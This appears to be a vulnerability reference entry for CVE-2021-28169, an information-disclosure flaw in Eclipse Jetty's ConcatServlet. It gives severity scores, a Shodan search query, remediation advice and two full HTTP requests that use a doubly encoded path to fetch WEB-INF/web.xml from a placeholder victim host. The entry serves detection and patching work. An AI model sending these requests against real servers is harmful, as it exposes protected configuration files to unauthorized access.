| Title | Eclipse Jetty ConcatServlet - Information Disclosure |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to access sensitive information, potentially leading to further attacks or unauthorized access. |
| Remediation | Upgrade to Eclipse Jetty version 9.4.40 or later to mitigate this vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.88841 |
| CVE ID | CVE-2021-28169 |
| CWE ID | CWE-200,NVD-CWE-Other |
| Shodan Query | cpe:"cpe:2.3:a:eclipse:jetty" |
| Tags | cve2021 cve jetty eclipse vkev vuln |
Eclipse Jetty through 9.4.40, through 10.0.2, and through 11.0.2 is susceptible to information disclosure. Requests to the ConcatServlet with a doubly encoded path can access protected resources within the WEB-INF directory, thus enabling an attacker to potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
GET /static?/%2557EB-INF/web.xml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /concat?/%2557EB-INF/web.xml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-28169.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-28169.pcap
N/AN/A